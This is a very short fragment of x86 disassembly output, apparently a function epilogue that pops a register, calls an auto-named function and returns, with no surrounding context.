pop ebx
call fcn.00406b74
leave
ret